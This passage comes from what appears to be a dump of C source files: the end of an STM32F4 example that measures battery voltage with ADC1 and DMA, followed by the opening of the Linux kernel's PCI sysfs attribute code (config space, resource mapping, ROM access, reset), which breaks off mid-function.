Measurement Example" #define MESSAGE2 "**VBAT Measurement**" #define MESSAGE3 " Eval Board Instant " #define MESSAGE4 " Battery Voltage " #define MESSAGE5 " %d,%d V " #define LINENUM 0x13 #define FONTSIZE Font8x12 #define VBATDIV 4 #else #define MESSAGE1 " STM32F4xx ADC1 VBAT Measurement Example" #define MESSAGE2 "*******VBAT Measurement*******" #define MESSAGE3 " Eval Board Instant " #define MESSAGE4 " Battery Voltage " #define MESSAGE5 " %d,%d V " #define LINENUM 0x15 #define FONTSIZE Font12x12 #define BUTTON_KEY BUTTON_TAMPER #define VBATDIV 4 #endif /* Private macro -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ __IO uint16_t uhADCConvertedValue = 0; __IO uint32_t uwVBATVoltage = 0; /* Private function prototypes -----------------------------------------------*/ static void ADC_Config(void); #ifdef USE_LCD static void Display_Init(void); static void Display(void); static void delay(__IO uint32_t nCount); #endif /* USE_LCD */ /* Private functions ---------------------------------------------------------*/ /** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ #ifdef USE_LCD /* LCD Display init */ Display_Init(); #endif /* USE_LCD */ /* ADC1 Channel Vbat configuration */ ADC_Config(); /* Start ADC1 Software Conversion */ ADC_SoftwareStartConv(ADC1); while (1) { #ifdef USE_LCD /* Display ADC converted value on LCD */ Display(); #endif /* USE_LCD */ } } /** * @brief ADC1 Channel Vbat configuration * @note This function Configure the ADC peripheral 1) Enable peripheral clocks 2) DMA2_Stream0 channel 0 configuration 3) Configure ADC1 Channel18 (VBAT) * @param None * @retval None */ static void ADC_Config(void) { ADC_InitTypeDef ADC_InitStructure; ADC_CommonInitTypeDef ADC_CommonInitStructure; DMA_InitTypeDef DMA_InitStructure; /* Enable peripheral clocks *************************************************/ RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_DMA2, ENABLE); RCC_APB2PeriphClockCmd(ADCx_CLK, ENABLE); /* DMA2_Stream0 channel0 configuration **************************************/ DMA_DeInit(DMA2_Stream0); DMA_InitStructure.DMA_Channel = DMA_CHANNELx; DMA_InitStructure.DMA_PeripheralBaseAddr = (uint32_t)ADCx_DR_ADDRESS; DMA_InitStructure.DMA_Memory0BaseAddr = (uint32_t)&uhADCConvertedValue; DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralToMemory; DMA_InitStructure.DMA_BufferSize = 1; DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Disable; DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Disable; DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_HalfWord; DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_HalfWord; DMA_InitStructure.DMA_Mode = DMA_Mode_Circular; DMA_InitStructure.DMA_Priority = DMA_Priority_High; DMA_InitStructure.DMA_FIFOMode = DMA_FIFOMode_Disable; DMA_InitStructure.DMA_FIFOThreshold = DMA_FIFOThreshold_HalfFull; DMA_InitStructure.DMA_MemoryBurst = DMA_MemoryBurst_Single; DMA_InitStructure.DMA_PeripheralBurst = DMA_PeripheralBurst_Single; DMA_Init(DMA_STREAMx, &DMA_InitStructure); /* DMA2_Stream0 enable */ DMA_Cmd(DMA_STREAMx, ENABLE); /* ADC Common Init **********************************************************/ ADC_CommonInitStructure.ADC_Mode = ADC_Mode_Independent; ADC_CommonInitStructure.ADC_Prescaler = ADC_Prescaler_Div2; ADC_CommonInitStructure.ADC_DMAAccessMode = ADC_DMAAccessMode_Disabled; ADC_CommonInitStructure.ADC_TwoSamplingDelay = ADC_TwoSamplingDelay_5Cycles; ADC_CommonInit(&ADC_CommonInitStructure); /* ADC1 Init ****************************************************************/ ADC_InitStructure.ADC_Resolution = ADC_Resolution_12b; ADC_InitStructure.ADC_ScanConvMode = DISABLE; ADC_InitStructure.ADC_ContinuousConvMode = ENABLE; ADC_InitStructure.ADC_ExternalTrigConvEdge = ADC_ExternalTrigConvEdge_None; ADC_InitStructure.ADC_ExternalTrigConv = ADC_ExternalTrigConv_T1_CC1; ADC_InitStructure.ADC_DataAlign = ADC_DataAlign_Right; ADC_InitStructure.ADC_NbrOfConversion = 1; ADC_Init(ADCx, &ADC_InitStructure); /* Enable ADC1 DMA */ ADC_DMACmd(ADCx, ENABLE); /* ADC1 regular channel18 (VBAT) configuration ******************************/ ADC_RegularChannelConfig(ADCx, ADC_Channel_Vbat, 1, ADC_SampleTime_15Cycles); /* Enable VBAT channel */ ADC_VBATCmd(ENABLE); /* Enable DMA request after last transfer (Single-ADC mode) */ ADC_DMARequestAfterLastTransferCmd(ADCx, ENABLE); /* Enable ADC1 **************************************************************/ ADC_Cmd(ADCx, ENABLE); } #ifdef USE_LCD /** * @brief Displays ADC converted value on LCD * @param None * @retval None */ void Display(void) { uint32_t uwVbatV=0; uint32_t uwVbatmV=0; uint8_t aTextBuffer[50]; /*The VBAT pin is internally connected to a bridge divider by 2 */ uwVBATVoltage = (uhADCConvertedValue*VBATDIV)*3300/0xFFF; uwVbatV = uwVBATVoltage/1000; uwVbatmV = (uwVBATVoltage%1000)/100; sprintf((char*)aTextBuffer, MESSAGE5, uwVbatV, uwVbatmV); LCD_DisplayStringLine(LCD_LINE_6, aTextBuffer); delay(100); } /** * @brief Display Init (LCD) * @param None * @retval None */ void Display_Init(void) { /* Initialize the LCD */ LCD_Init(); /* Display message on LCD ***************************************************/ #if defined (USE_STM324x9I_EVAL) /* Initialize the LCD Layers */ LCD_LayerInit(); /* Enable The Display */ LCD_DisplayOn(); /* Set LCD Background Layer */ LCD_SetLayer(LCD_BACKGROUND_LAYER); /* Clear the Background Layer */ LCD_Clear(LCD_COLOR_WHITE); /* Set LCD Foreground Layer */ LCD_SetLayer(LCD_FOREGROUND_LAYER); /* Configure the transparency for foreground */ LCD_SetTransparency(100); #endif /* USE_STM324x9I_EVAL */ /* Clear the LCD */ LCD_Clear(White); /* Set the LCD Text size */ LCD_SetFont(&FONTSIZE); /* Set the LCD Back Color and Text Color*/ LCD_SetBackColor(Blue); LCD_SetTextColor(White); LCD_DisplayStringLine(LINE(LINENUM), (uint8_t*)MESSAGE1); LCD_DisplayStringLine(LINE(0x16), (uint8_t*)" "); /* Set the LCD Text size */ LCD_SetFont(&Font16x24); LCD_DisplayStringLine(LCD_LINE_0, (uint8_t*)MESSAGE2); /* Set the LCD Back Color and Text Color*/ LCD_SetBackColor(White); LCD_SetTextColor(Blue); LCD_DisplayStringLine(LCD_LINE_2, (uint8_t*)MESSAGE3); LCD_DisplayStringLine(LCD_LINE_4, (uint8_t*)MESSAGE4); } /** * @brief Inserts a delay time * @param nCount: specifies the delay time length * @retval None */ static void delay(__IO uint32_t nCount) { __IO uint32_t index = 0; for(index = (100000 * nCount); index != 0; index--) { } } #endif /* USE_LCD */ #ifdef USE_FULL_ASSERT /** * @brief Reports the name of the source file and the source line number * where the assert_param error has occurred. * @param file: pointer to the source file name * @param line: assert_param error line source number * @retval None */ void assert_failed(uint8_t* file, uint32_t line) { /* User can add his own implementation to report the file name and line number, ex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */ /* Infinite loop */ while (1) { } } #endif /** * @} */ /** * @} */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
172206.c
/* * drivers/pci/pci-sysfs.c * * (C) Copyright 2002-2004 Greg Kroah-Hartman <[email protected]> * (C) Copyright 2002-2004 IBM Corp. * (C) Copyright 2003 Matthew Wilcox * (C) Copyright 2003 Hewlett-Packard * (C) Copyright 2004 Jon Smirl <[email protected]> * (C) Copyright 2004 Silicon Graphics, Inc. Jesse Barnes <[email protected]> * * File attributes for PCI devices * * Modeled after usb's driverfs.c * */ #include <linux/kernel.h> #include <linux/sched.h> #include <linux/pci.h> #include <linux/stat.h> #include <linux/topology.h> #include <linux/mm.h> #include <linux/capability.h> #include <linux/pci-aspm.h> #include <linux/slab.h> #include "pci.h" static int sysfs_initialized; /* = 0 */ /* show configuration fields */ #define pci_config_attr(field, format_string) \ static ssize_t \ field##_show(struct device *dev, struct device_attribute *attr, char *buf) \ { \ struct pci_dev *pdev; \ \ pdev = to_pci_dev (dev); \ return sprintf (buf, format_string, pdev->field); \ } pci_config_attr(vendor, "0x%04x\n"); pci_config_attr(device, "0x%04x\n"); pci_config_attr(subsystem_vendor, "0x%04x\n"); pci_config_attr(subsystem_device, "0x%04x\n"); pci_config_attr(class, "0x%06x\n"); pci_config_attr(irq, "%u\n"); static ssize_t broken_parity_status_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pdev = to_pci_dev(dev); return sprintf (buf, "%u\n", pdev->broken_parity_status); } static ssize_t broken_parity_status_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct pci_dev *pdev = to_pci_dev(dev); unsigned long val; if (strict_strtoul(buf, 0, &val) < 0) return -EINVAL; pdev->broken_parity_status = !!val; return count; } static ssize_t local_cpus_show(struct device *dev, struct device_attribute *attr, char *buf) { const struct cpumask *mask; int len; #ifdef CONFIG_NUMA mask = (dev_to_node(dev) == -1) ? cpu_online_mask : cpumask_of_node(dev_to_node(dev)); #else mask = cpumask_of_pcibus(to_pci_dev(dev)->bus); #endif len = cpumask_scnprintf(buf, PAGE_SIZE-2, mask); buf[len++] = '\n'; buf[len] = '\0'; return len; } static ssize_t local_cpulist_show(struct device *dev, struct device_attribute *attr, char *buf) { const struct cpumask *mask; int len; #ifdef CONFIG_NUMA mask = (dev_to_node(dev) == -1) ? cpu_online_mask : cpumask_of_node(dev_to_node(dev)); #else mask = cpumask_of_pcibus(to_pci_dev(dev)->bus); #endif len = cpulist_scnprintf(buf, PAGE_SIZE-2, mask); buf[len++] = '\n'; buf[len] = '\0'; return len; } /* show resources */ static ssize_t resource_show(struct device * dev, struct device_attribute *attr, char * buf) { struct pci_dev * pci_dev = to_pci_dev(dev); char * str = buf; int i; int max; resource_size_t start, end; if (pci_dev->subordinate) max = DEVICE_COUNT_RESOURCE; else max = PCI_BRIDGE_RESOURCES; for (i = 0; i < max; i++) { struct resource *res = &pci_dev->resource[i]; pci_resource_to_user(pci_dev, i, res, &start, &end); str += sprintf(str,"0x%016llx 0x%016llx 0x%016llx\n", (unsigned long long)start, (unsigned long long)end, (unsigned long long)res->flags); } return (str - buf); } static ssize_t modalias_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pci_dev = to_pci_dev(dev); return sprintf(buf, "pci:v%08Xd%08Xsv%08Xsd%08Xbc%02Xsc%02Xi%02x\n", pci_dev->vendor, pci_dev->device, pci_dev->subsystem_vendor, pci_dev->subsystem_device, (u8)(pci_dev->class >> 16), (u8)(pci_dev->class >> 8), (u8)(pci_dev->class)); } static ssize_t is_enabled_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct pci_dev *pdev = to_pci_dev(dev); unsigned long val; ssize_t result = strict_strtoul(buf, 0, &val); if (result < 0) return result; /* this can crash the machine when done on the "wrong" device */ if (!capable(CAP_SYS_ADMIN)) return -EPERM; if (!val) { if (pci_is_enabled(pdev)) pci_disable_device(pdev); else result = -EIO; } else result = pci_enable_device(pdev); return result < 0 ? result : count; } static ssize_t is_enabled_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pdev; pdev = to_pci_dev (dev); return sprintf (buf, "%u\n", atomic_read(&pdev->enable_cnt)); } #ifdef CONFIG_NUMA static ssize_t numa_node_show(struct device *dev, struct device_attribute *attr, char *buf) { return sprintf (buf, "%d\n", dev->numa_node); } #endif static ssize_t dma_mask_bits_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pdev = to_pci_dev(dev); return sprintf (buf, "%d\n", fls64(pdev->dma_mask)); } static ssize_t consistent_dma_mask_bits_show(struct device *dev, struct device_attribute *attr, char *buf) { return sprintf (buf, "%d\n", fls64(dev->coherent_dma_mask)); } static ssize_t msi_bus_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pdev = to_pci_dev(dev); if (!pdev->subordinate) return 0; return sprintf (buf, "%u\n", !(pdev->subordinate->bus_flags & PCI_BUS_FLAGS_NO_MSI)); } static ssize_t msi_bus_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct pci_dev *pdev = to_pci_dev(dev); unsigned long val; if (strict_strtoul(buf, 0, &val) < 0) return -EINVAL; /* bad things may happen if the no_msi flag is changed * while some drivers are loaded */ if (!capable(CAP_SYS_ADMIN)) return -EPERM; /* Maybe pci devices without subordinate busses shouldn't even have this * attribute in the first place? */ if (!pdev->subordinate) return count; /* Is the flag going to change, or keep the value it already had? */ if (!(pdev->subordinate->bus_flags & PCI_BUS_FLAGS_NO_MSI) ^ !!val) { pdev->subordinate->bus_flags ^= PCI_BUS_FLAGS_NO_MSI; dev_warn(&pdev->dev, "forced subordinate bus to%s support MSI," " bad things could happen\n", val ? "" : " not"); } return count; } #ifdef CONFIG_HOTPLUG static DEFINE_MUTEX(pci_remove_rescan_mutex); static ssize_t bus_rescan_store(struct bus_type *bus, const char *buf, size_t count) { unsigned long val; struct pci_bus *b = NULL; if (strict_strtoul(buf, 0, &val) < 0) return -EINVAL; if (val) { mutex_lock(&pci_remove_rescan_mutex); while ((b = pci_find_next_bus(b)) != NULL) pci_rescan_bus(b); mutex_unlock(&pci_remove_rescan_mutex); } return count; } struct bus_attribute pci_bus_attrs[] = { __ATTR(rescan, (S_IWUSR|S_IWGRP), NULL, bus_rescan_store), __ATTR_NULL }; static ssize_t dev_rescan_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { unsigned long val; struct pci_dev *pdev = to_pci_dev(dev); if (strict_strtoul(buf, 0, &val) < 0) return -EINVAL; if (val) { mutex_lock(&pci_remove_rescan_mutex); pci_rescan_bus(pdev->bus); mutex_unlock(&pci_remove_rescan_mutex); } return count; } static void remove_callback(struct device *dev) { struct pci_dev *pdev = to_pci_dev(dev); mutex_lock(&pci_remove_rescan_mutex); pci_remove_bus_device(pdev); mutex_unlock(&pci_remove_rescan_mutex); } static ssize_t remove_store(struct device *dev, struct device_attribute *dummy, const char *buf, size_t count) { int ret = 0; unsigned long val; if (strict_strtoul(buf, 0, &val) < 0) return -EINVAL; /* An attribute cannot be unregistered by one of its own methods, * so we have to use this roundabout approach. */ if (val) ret = device_schedule_callback(dev, remove_callback); if (ret) count = ret; return count; } #endif struct device_attribute pci_dev_attrs[] = { __ATTR_RO(resource), __ATTR_RO(vendor), __ATTR_RO(device), __ATTR_RO(subsystem_vendor), __ATTR_RO(subsystem_device), __ATTR_RO(class), __ATTR_RO(irq), __ATTR_RO(local_cpus), __ATTR_RO(local_cpulist), __ATTR_RO(modalias), #ifdef CONFIG_NUMA __ATTR_RO(numa_node), #endif __ATTR_RO(dma_mask_bits), __ATTR_RO(consistent_dma_mask_bits), __ATTR(enable, 0600, is_enabled_show, is_enabled_store), __ATTR(broken_parity_status,(S_IRUGO|S_IWUSR), broken_parity_status_show,broken_parity_status_store), __ATTR(msi_bus, 0644, msi_bus_show, msi_bus_store), #ifdef CONFIG_HOTPLUG __ATTR(remove, (S_IWUSR|S_IWGRP), NULL, remove_store), __ATTR(rescan, (S_IWUSR|S_IWGRP), NULL, dev_rescan_store), #endif __ATTR_NULL, }; static ssize_t boot_vga_show(struct device *dev, struct device_attribute *attr, char *buf) { struct pci_dev *pdev = to_pci_dev(dev); return sprintf(buf, "%u\n", !!(pdev->resource[PCI_ROM_RESOURCE].flags & IORESOURCE_ROM_SHADOW)); } struct device_attribute vga_attr = __ATTR_RO(boot_vga); static ssize_t pci_read_config(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *dev = to_pci_dev(container_of(kobj,struct device,kobj)); unsigned int size = 64; loff_t init_off = off; u8 *data = (u8*) buf; /* Several chips lock up trying to read undefined config space */ if (capable(CAP_SYS_ADMIN)) { size = dev->cfg_size; } else if (dev->hdr_type == PCI_HEADER_TYPE_CARDBUS) { size = 128; } if (off > size) return 0; if (off + count > size) { size -= off; count = size; } else { size = count; } if ((off & 1) && size) { u8 val; pci_user_read_config_byte(dev, off, &val); data[off - init_off] = val; off++; size--; } if ((off & 3) && size > 2) { u16 val; pci_user_read_config_word(dev, off, &val); data[off - init_off] = val & 0xff; data[off - init_off + 1] = (val >> 8) & 0xff; off += 2; size -= 2; } while (size > 3) { u32 val; pci_user_read_config_dword(dev, off, &val); data[off - init_off] = val & 0xff; data[off - init_off + 1] = (val >> 8) & 0xff; data[off - init_off + 2] = (val >> 16) & 0xff; data[off - init_off + 3] = (val >> 24) & 0xff; off += 4; size -= 4; } if (size >= 2) { u16 val; pci_user_read_config_word(dev, off, &val); data[off - init_off] = val & 0xff; data[off - init_off + 1] = (val >> 8) & 0xff; off += 2; size -= 2; } if (size > 0) { u8 val; pci_user_read_config_byte(dev, off, &val); data[off - init_off] = val; off++; --size; } return count; } static ssize_t pci_write_config(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *dev = to_pci_dev(container_of(kobj,struct device,kobj)); unsigned int size = count; loff_t init_off = off; u8 *data = (u8*) buf; if (off > dev->cfg_size) return 0; if (off + count > dev->cfg_size) { size = dev->cfg_size - off; count = size; } if ((off & 1) && size) { pci_user_write_config_byte(dev, off, data[off - init_off]); off++; size--; } if ((off & 3) && size > 2) { u16 val = data[off - init_off]; val |= (u16) data[off - init_off + 1] << 8; pci_user_write_config_word(dev, off, val); off += 2; size -= 2; } while (size > 3) { u32 val = data[off - init_off]; val |= (u32) data[off - init_off + 1] << 8; val |= (u32) data[off - init_off + 2] << 16; val |= (u32) data[off - init_off + 3] << 24; pci_user_write_config_dword(dev, off, val); off += 4; size -= 4; } if (size >= 2) { u16 val = data[off - init_off]; val |= (u16) data[off - init_off + 1] << 8; pci_user_write_config_word(dev, off, val); off += 2; size -= 2; } if (size) { pci_user_write_config_byte(dev, off, data[off - init_off]); off++; --size; } return count; } static ssize_t read_vpd_attr(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *dev = to_pci_dev(container_of(kobj, struct device, kobj)); if (off > bin_attr->size) count = 0; else if (count > bin_attr->size - off) count = bin_attr->size - off; return pci_read_vpd(dev, off, count, buf); } static ssize_t write_vpd_attr(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *dev = to_pci_dev(container_of(kobj, struct device, kobj)); if (off > bin_attr->size) count = 0; else if (count > bin_attr->size - off) count = bin_attr->size - off; return pci_write_vpd(dev, off, count, buf); } #ifdef HAVE_PCI_LEGACY /** * pci_read_legacy_io - read byte(s) from legacy I/O port space * @kobj: kobject corresponding to file to read from * @bin_attr: struct bin_attribute for this file * @buf: buffer to store results * @off: offset into legacy I/O port space * @count: number of bytes to read * * Reads 1, 2, or 4 bytes from legacy I/O port space using an arch specific * callback routine (pci_legacy_read). */ static ssize_t pci_read_legacy_io(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_bus *bus = to_pci_bus(container_of(kobj, struct device, kobj)); /* Only support 1, 2 or 4 byte accesses */ if (count != 1 && count != 2 && count != 4) return -EINVAL; return pci_legacy_read(bus, off, (u32 *)buf, count); } /** * pci_write_legacy_io - write byte(s) to legacy I/O port space * @kobj: kobject corresponding to file to read from * @bin_attr: struct bin_attribute for this file * @buf: buffer containing value to be written * @off: offset into legacy I/O port space * @count: number of bytes to write * * Writes 1, 2, or 4 bytes from legacy I/O port space using an arch specific * callback routine (pci_legacy_write). */ static ssize_t pci_write_legacy_io(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_bus *bus = to_pci_bus(container_of(kobj, struct device, kobj)); /* Only support 1, 2 or 4 byte accesses */ if (count != 1 && count != 2 && count != 4) return -EINVAL; return pci_legacy_write(bus, off, *(u32 *)buf, count); } /** * pci_mmap_legacy_mem - map legacy PCI memory into user memory space * @kobj: kobject corresponding to device to be mapped * @attr: struct bin_attribute for this file * @vma: struct vm_area_struct passed to mmap * * Uses an arch specific callback, pci_mmap_legacy_mem_page_range, to mmap * legacy memory space (first meg of bus space) into application virtual * memory space. */ static int pci_mmap_legacy_mem(struct kobject *kobj, struct bin_attribute *attr, struct vm_area_struct *vma) { struct pci_bus *bus = to_pci_bus(container_of(kobj, struct device, kobj)); return pci_mmap_legacy_page_range(bus, vma, pci_mmap_mem); } /** * pci_mmap_legacy_io - map legacy PCI IO into user memory space * @kobj: kobject corresponding to device to be mapped * @attr: struct bin_attribute for this file * @vma: struct vm_area_struct passed to mmap * * Uses an arch specific callback, pci_mmap_legacy_io_page_range, to mmap * legacy IO space (first meg of bus space) into application virtual * memory space. Returns -ENOSYS if the operation isn't supported */ static int pci_mmap_legacy_io(struct kobject *kobj, struct bin_attribute *attr, struct vm_area_struct *vma) { struct pci_bus *bus = to_pci_bus(container_of(kobj, struct device, kobj)); return pci_mmap_legacy_page_range(bus, vma, pci_mmap_io); } /** * pci_adjust_legacy_attr - adjustment of legacy file attributes * @b: bus to create files under * @mmap_type: I/O port or memory * * Stub implementation. Can be overridden by arch if necessary. */ void __weak pci_adjust_legacy_attr(struct pci_bus *b, enum pci_mmap_state mmap_type) { return; } /** * pci_create_legacy_files - create legacy I/O port and memory files * @b: bus to create files under * * Some platforms allow access to legacy I/O port and ISA memory space on * a per-bus basis. This routine creates the files and ties them into * their associated read, write and mmap files from pci-sysfs.c * * On error unwind, but don't propogate the error to the caller * as it is ok to set up the PCI bus without these files. */ void pci_create_legacy_files(struct pci_bus *b) { int error; b->legacy_io = kzalloc(sizeof(struct bin_attribute) * 2, GFP_ATOMIC); if (!b->legacy_io) goto kzalloc_err; sysfs_bin_attr_init(b->legacy_io); b->legacy_io->attr.name = "legacy_io"; b->legacy_io->size = 0xffff; b->legacy_io->attr.mode = S_IRUSR | S_IWUSR; b->legacy_io->read = pci_read_legacy_io; b->legacy_io->write = pci_write_legacy_io; b->legacy_io->mmap = pci_mmap_legacy_io; pci_adjust_legacy_attr(b, pci_mmap_io); error = device_create_bin_file(&b->dev, b->legacy_io); if (error) goto legacy_io_err; /* Allocated above after the legacy_io struct */ b->legacy_mem = b->legacy_io + 1; sysfs_bin_attr_init(b->legacy_mem); b->legacy_mem->attr.name = "legacy_mem"; b->legacy_mem->size = 1024*1024; b->legacy_mem->attr.mode = S_IRUSR | S_IWUSR; b->legacy_mem->mmap = pci_mmap_legacy_mem; pci_adjust_legacy_attr(b, pci_mmap_mem); error = device_create_bin_file(&b->dev, b->legacy_mem); if (error) goto legacy_mem_err; return; legacy_mem_err: device_remove_bin_file(&b->dev, b->legacy_io); legacy_io_err: kfree(b->legacy_io); b->legacy_io = NULL; kzalloc_err: printk(KERN_WARNING "pci: warning: could not create legacy I/O port " "and ISA memory resources to sysfs\n"); return; } void pci_remove_legacy_files(struct pci_bus *b) { if (b->legacy_io) { device_remove_bin_file(&b->dev, b->legacy_io); device_remove_bin_file(&b->dev, b->legacy_mem); kfree(b->legacy_io); /* both are allocated here */ } } #endif /* HAVE_PCI_LEGACY */ #ifdef HAVE_PCI_MMAP int pci_mmap_fits(struct pci_dev *pdev, int resno, struct vm_area_struct *vma) { unsigned long nr, start, size; nr = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT; start = vma->vm_pgoff; size = ((pci_resource_len(pdev, resno) - 1) >> PAGE_SHIFT) + 1; if (start < size && size - start >= nr) return 1; WARN(1, "process \"%s\" tried to map 0x%08lx-0x%08lx on %s BAR %d (size 0x%08lx)\n", current->comm, start, start+nr, pci_name(pdev), resno, size); return 0; } /** * pci_mmap_resource - map a PCI resource into user memory space * @kobj: kobject for mapping * @attr: struct bin_attribute for the file being mapped * @vma: struct vm_area_struct passed into the mmap * @write_combine: 1 for write_combine mapping * * Use the regular PCI mapping routines to map a PCI resource into userspace. */ static int pci_mmap_resource(struct kobject *kobj, struct bin_attribute *attr, struct vm_area_struct *vma, int write_combine) { struct pci_dev *pdev = to_pci_dev(container_of(kobj, struct device, kobj)); struct resource *res = (struct resource *)attr->private; enum pci_mmap_state mmap_type; resource_size_t start, end; int i; for (i = 0; i < PCI_ROM_RESOURCE; i++) if (res == &pdev->resource[i]) break; if (i >= PCI_ROM_RESOURCE) return -ENODEV; if (!pci_mmap_fits(pdev, i, vma)) return -EINVAL; /* pci_mmap_page_range() expects the same kind of entry as coming * from /proc/bus/pci/ which is a "user visible" value. If this is * different from the resource itself, arch will do necessary fixup. */ pci_resource_to_user(pdev, i, res, &start, &end); vma->vm_pgoff += start >> PAGE_SHIFT; mmap_type = res->flags & IORESOURCE_MEM ? pci_mmap_mem : pci_mmap_io; if (res->flags & IORESOURCE_MEM && iomem_is_exclusive(start)) return -EINVAL; return pci_mmap_page_range(pdev, vma, mmap_type, write_combine); } static int pci_mmap_resource_uc(struct kobject *kobj, struct bin_attribute *attr, struct vm_area_struct *vma) { return pci_mmap_resource(kobj, attr, vma, 0); } static int pci_mmap_resource_wc(struct kobject *kobj, struct bin_attribute *attr, struct vm_area_struct *vma) { return pci_mmap_resource(kobj, attr, vma, 1); } /** * pci_remove_resource_files - cleanup resource files * @pdev: dev to cleanup * * If we created resource files for @pdev, remove them from sysfs and * free their resources. */ static void pci_remove_resource_files(struct pci_dev *pdev) { int i; for (i = 0; i < PCI_ROM_RESOURCE; i++) { struct bin_attribute *res_attr; res_attr = pdev->res_attr[i]; if (res_attr) { sysfs_remove_bin_file(&pdev->dev.kobj, res_attr); kfree(res_attr); } res_attr = pdev->res_attr_wc[i]; if (res_attr) { sysfs_remove_bin_file(&pdev->dev.kobj, res_attr); kfree(res_attr); } } } static int pci_create_attr(struct pci_dev *pdev, int num, int write_combine) { /* allocate attribute structure, piggyback attribute name */ int name_len = write_combine ? 13 : 10; struct bin_attribute *res_attr; int retval; res_attr = kzalloc(sizeof(*res_attr) + name_len, GFP_ATOMIC); if (res_attr) { char *res_attr_name = (char *)(res_attr + 1); sysfs_bin_attr_init(res_attr); if (write_combine) { pdev->res_attr_wc[num] = res_attr; sprintf(res_attr_name, "resource%d_wc", num); res_attr->mmap = pci_mmap_resource_wc; } else { pdev->res_attr[num] = res_attr; sprintf(res_attr_name, "resource%d", num); res_attr->mmap = pci_mmap_resource_uc; } res_attr->attr.name = res_attr_name; res_attr->attr.mode = S_IRUSR | S_IWUSR; res_attr->size = pci_resource_len(pdev, num); res_attr->private = &pdev->resource[num]; retval = sysfs_create_bin_file(&pdev->dev.kobj, res_attr); } else retval = -ENOMEM; return retval; } /** * pci_create_resource_files - create resource files in sysfs for @dev * @pdev: dev in question * * Walk the resources in @pdev creating files for each resource available. */ static int pci_create_resource_files(struct pci_dev *pdev) { int i; int retval; /* Expose the PCI resources from this device as files */ for (i = 0; i < PCI_ROM_RESOURCE; i++) { /* skip empty resources */ if (!pci_resource_len(pdev, i)) continue; retval = pci_create_attr(pdev, i, 0); /* for prefetchable resources, create a WC mappable file */ if (!retval && pdev->resource[i].flags & IORESOURCE_PREFETCH) retval = pci_create_attr(pdev, i, 1); if (retval) { pci_remove_resource_files(pdev); return retval; } } return 0; } #else /* !HAVE_PCI_MMAP */ int __weak pci_create_resource_files(struct pci_dev *dev) { return 0; } void __weak pci_remove_resource_files(struct pci_dev *dev) { return; } #endif /* HAVE_PCI_MMAP */ /** * pci_write_rom - used to enable access to the PCI ROM display * @kobj: kernel object handle * @bin_attr: struct bin_attribute for this file * @buf: user input * @off: file offset * @count: number of byte in input * * writing anything except 0 enables it */ static ssize_t pci_write_rom(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *pdev = to_pci_dev(container_of(kobj, struct device, kobj)); if ((off == 0) && (*buf == '0') && (count == 2)) pdev->rom_attr_enabled = 0; else pdev->rom_attr_enabled = 1; return count; } /** * pci_read_rom - read a PCI ROM * @kobj: kernel object handle * @bin_attr: struct bin_attribute for this file * @buf: where to put the data we read from the ROM * @off: file offset * @count: number of bytes to read * * Put @count bytes starting at @off into @buf from the ROM in the PCI * device corresponding to @kobj. */ static ssize_t pci_read_rom(struct kobject *kobj, struct bin_attribute *bin_attr, char *buf, loff_t off, size_t count) { struct pci_dev *pdev = to_pci_dev(container_of(kobj, struct device, kobj)); void __iomem *rom; size_t size; if (!pdev->rom_attr_enabled) return -EINVAL; rom = pci_map_rom(pdev, &size); /* size starts out as PCI window size */ if (!rom || !size) return -EIO; if (off >= size) count = 0; else { if (off + count > size) count = size - off; memcpy_fromio(buf, rom + off, count); } pci_unmap_rom(pdev, rom); return count; } static struct bin_attribute pci_config_attr = { .attr = { .name = "config", .mode = S_IRUGO | S_IWUSR, }, .size = PCI_CFG_SPACE_SIZE, .read = pci_read_config, .write = pci_write_config, }; static struct bin_attribute pcie_config_attr = { .attr = { .name = "config", .mode = S_IRUGO | S_IWUSR, }, .size = PCI_CFG_SPACE_EXP_SIZE, .read = pci_read_config, .write = pci_write_config, }; int __attribute__ ((weak)) pcibios_add_platform_entries(struct pci_dev *dev) { return 0; } static ssize_t reset_store(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct pci_dev *pdev = to_pci_dev(dev); unsigned long val; ssize_t result = strict_strtoul(buf, 0, &val); if (result < 0) return result; if (val != 1) return -EINVAL; return pci_reset_function(pdev); } static struct device_attribute reset_attr = __ATTR(reset, 0200, NULL, reset_store); static int pci_create_capabilities_sysfs(struct pci_dev *dev) { int retval; struct bin_attribute *attr; /* If the device has VPD, try to expose it in sysfs. */ if (dev->vpd) { attr = 